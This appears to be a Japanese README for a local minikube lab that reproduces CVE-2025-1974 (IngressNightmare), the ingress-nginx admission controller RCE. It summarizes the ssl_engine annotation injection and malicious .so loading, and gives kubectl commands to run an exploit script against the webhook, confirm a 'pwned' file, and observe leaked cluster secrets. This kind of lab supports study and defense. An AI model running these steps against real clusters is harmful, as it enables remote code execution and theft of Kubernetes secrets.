
ingress-nginx admission controller RCE escalation PoC
CVE-2025-1974 (IngressNightmare) は、Kubernetes ingress-nginx 受付コントローラにおける重大な(CVSS 9.8)認証不要のリモートコード実行脆弱性です。
攻撃の流れ:
ssl_engine ディレクティブを注入するアノテーションを含む細工された Ingress 関連マニフェスト(AdmissionReview)を送信するnginx -t を実行し、悪意のある .so を読み込んで実行する影響:
提供された ./setup_cve_env スクリプトを実行してください。必要なツール(minikube、kubectl、helm)がすべてインストールされ、1ノードの minikube クラスタが作成されます。次に、脆弱なバージョンの NGINX ingress-controller がクラスタにデプロイされ、コントローラの受付 Webhook を使用してペイロードを送信する attacker ポッドもデプロイされます。
WEBHOOK_IP=$(kubectl get pod -n ingress-nginx -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].status.podIP}')
kubectl exec attacker -- python3 /tmp/exploit.py $WEBHOOK_IP
応答エラーログに CVE-2025-1974 RCE TRIGGERED と表示されます。また、エラーログはシークレットを流出させます。ingress controller ポッドはすべてのクラスタシークレットにアクセスできるためです。
.so ペイロードは pwned ファイルも作成します。以下のコマンドで存在を確認してください:
kubectl exec -n ingress-nginx $CPOD -- ls -l /tmp/pwned